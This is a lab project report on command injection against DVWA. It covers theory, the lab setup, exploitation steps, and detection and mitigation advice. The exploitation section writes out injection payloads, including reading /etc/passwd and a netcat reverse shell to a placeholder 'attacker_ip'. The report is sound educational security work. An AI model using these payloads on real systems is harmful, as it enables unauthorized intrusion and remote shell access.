Command Injection Project

Prepared by: Selva Kumar

Date: August 2025

Abstract / Introduction

This project explores the concept of Command Injection, a critical web application vulnerability that allows attackers to execute arbitrary system commands on a host operating system via a vulnerable application. The report includes theoretical background, lab setup, exploitation demonstration, and mitigation techniques. The goal is to understand the impact of command injection and how to defend against it.

Overview of Command Injection

Command Injection occurs when an application passes unsafe user input directly to a system shell. If inputs are not properly validated, an attacker can execute system-level commands. Types of Command Injection: - **Direct Command Injection**: The attacker directly executes arbitrary commands. - **Indirect Command Injection**: The attacker manipulates inputs that get executed in backend scripts. - **Blind Command Injection**: The attacker cannot see direct results but infers them from application behavior. Risks include data breaches, privilege escalation, lateral movement, and full system compromise.

Lab Setup

The lab environment was created using the following tools: - **Operating System**: Kali Linux (attacker) and OWASP BWA / DVWA (victim) - **Tools**: Burp Suite, Netcat, Web Browser, Terminal - **Configuration**: Victim web application hosted on a VM, attacker machine connected in the same network. This setup allows simulation of real-world exploitation in a controlled environment.

Exploitation Steps

Step 1: Access the vulnerable web application (DVWA - Command Injection module). Step 2: Enter a basic input such as `127.0.0.1` to test functionality. Step 3: Attempt injection by appending system commands, e.g., `127.0.0.1 && whoami`. Step 4: Observe the output showing the current system user. Step 5: Execute further payloads like `127.0.0.1 && cat /etc/passwd`. Step 6: For reverse shell, inject: `127.0.0.1 && nc -e /bin/bash attacker_ip 4444`. [Insert Screenshot: Command Injection Example] [Insert Screenshot: Reverse Shell Capture]

Detection & Mitigation

To detect command injection: - Monitor web server logs for suspicious input patterns. - Use Intrusion Detection Systems (IDS) and Web Application Firewalls (WAF). - Employ security scanners like Nikto or Burp Suite. Mitigation techniques: - Validate and sanitize all user inputs (whitelisting preferred). - Use parameterized system calls or APIs instead of direct shell execution. - Apply the principle of least privilege to web applications. - Regularly patch and update systems.

Conclusion

This project demonstrated how Command Injection vulnerabilities can be exploited to gain unauthorized system access. Through a controlled lab, we explored its dangers and learned effective defense mechanisms. Understanding such attacks is crucial for strengthening cybersecurity postures in real-world applications.

References

- OWASP: https://owasp.org/www-community/attacks/Command_Injection - DVWA: http://www.dvwa.co.uk/ - Nmap Project: https://nmap.org/ - Burp Suite: https://portswigger.net/burp